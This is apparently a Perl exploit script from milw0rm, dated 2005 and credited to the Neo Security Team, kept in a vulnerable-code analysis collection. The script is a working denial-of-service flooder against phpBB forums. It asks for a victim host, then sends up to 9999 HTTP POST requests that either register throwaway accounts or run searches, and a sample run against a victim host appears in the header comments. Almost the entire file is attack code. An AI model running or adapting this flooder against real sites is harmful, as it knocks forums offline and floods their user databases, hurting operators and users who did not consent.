lilbool/vuln-code-analysis
0
1#!/usr/bin/perl
2## Name: NsT-phpBBDoS (Perl Version)
3## Copyright: Neo Security Team
4## Author: HaCkZaTaN
5## Ported: g30rg3_x
6## Date: 20/06/05
7## Description: NsT-phpBB DoS By HackZatan Ported tu perl By g30rg3_x
8## A Simple phpBB Registration And Search DoS Flooder.
9##
10## g30rg3x@neosecurity:/home/g30rg3x# perl NsT-phpBBDoS.pl
11## [+]
12## [+] NsT-phpBBDoS v0.2 by HaCkZaTaN
13## [+] ported to Perl By g30rg3_x
14## [+] Neo Security Team
15## [+]
16## [+] Host |without http://www.| victimshost.com
17## [+] Path |example. /phpBB2/ or /| /phpBB2/
18## [+] Flood Type |1=Registration 2=Search| 1
19## [+] ..........................................................
20## [+] ..........................................................
21## [+] ..........................................................
22## [+] ..............................................
23## [+] The Socket Can't Connect To The Desired Host or the Host is MayBe DoSed
24## g30rg3x@neosecurity:/home/g30rg3x# echo "Let see how many users I have created"
25
26use IO::Socket;
27
28## Initialized X
29$x = 0;
30
31## Flood Variables Provided By User
32print q(
33NsT-phpBBDoS v0.2 by HaCkZaTaN
34ported to Perl By g30rg3_x
35Neo Security Team
36
37);
38print q(Host |without http://www.| );
39$host = <STDIN>;
40chop ($host);
41
42print q(Path |example. /phpBB2/ or /| );
43$pth = <STDIN>;
44chop ($pth);
45
46print q(Flood Type |1 = Registration, 2 = Search| );
47$type = <STDIN>;
48chop ($type);
49
50## If Type Is Equals To 1 or Registration
51if($type == 1){
52
53## User Loop for 9999 loops (enough for Flood xDDDD)
54while($x != 9999)
55{
56
57## Building User in base X
58$uname = "username=NsT__" . "$x";
59
60## Building User Mail in base X
61$umail = "&email=NsT__" . "$x";
62
63## Final String to Send
64$postit = "$uname"."$umail"."%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0¬ifyreply=0¬ifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";
65
66## Posit Length
67$lrg = length $postit;
68
69## Connect Socket with Variables Provided By User
70my $sock = new IO::Socket::INET (
71 PeerAddr => "$host",
72 PeerPort => "80",
73 Proto => "tcp",
74 );
75die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
76
77## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums
78print $sock "POST $pth"."profile.php HTTP/1.1\n";
79print $sock "Host: $host\n";
80print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
81print $sock "Referer: $host\n";
82print $sock "Accept-Language: en-us\n";
83print $sock "Content-Type: application/x-www-form-urlencoded\n";
84print $sock "Accept-Encoding: gzip, deflate\n";
85print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
86print $sock "Connection: Keep-Alive\n";
87print $sock "Cache-Control: no-cache\n";
88print $sock "Content-Length: $lrg\n\n";
89print $sock "$postit\n";
90close($sock);
91
92## Print a "." for every loop
93syswrite STDOUT, ".";
94
95## Increment X in One for every Loop
96$x++;
97}
98
99## If Type Is Equals To 2 or Search
100}
101elsif ($type == 2){
102
103## User Search Loop for 9999 loops (enough for Flood xDDDD)
104while($x != 9999)
105{
106## Final Search String to Send
107$postit = "search_keywords=Neo+Security+Team+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";
108
109## Posit Length
110$lrg = length $postit;
111
112## Connect Socket with Variables Provided By User
113my $sock = new IO::Socket::INET (
114 PeerAddr => "$host",
115 PeerPort => "80",
116 Proto => "tcp",
117 );
118die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;
119
120## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums
121print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n";
122print $sock "Host: $host\n";
123print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
124print $sock "Referer: $host\n";
125print $sock "Accept-Language: en-us\n";
126print $sock "Content-Type: application/x-www-form-urlencoded\n";
127print $sock "Accept-Encoding: gzip, deflate\n";
128print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
129print $sock "Connection: Keep-Alive\n";
130print $sock "Cache-Control: no-cache\n";
131print $sock "Content-Length: $lrg\n\n";
132print $sock "$postit\n";
133close($sock);
134
135## Print a "." for every loop
136syswrite STDOUT, ".";
137
138## Increment X in One for every Loop
139$x++;
140}
141}else{
142## STF??? What Do You Type
143 die "Option not Allowed O_o???\n";
144}
145
146# milw0rm.com [2005-06-22]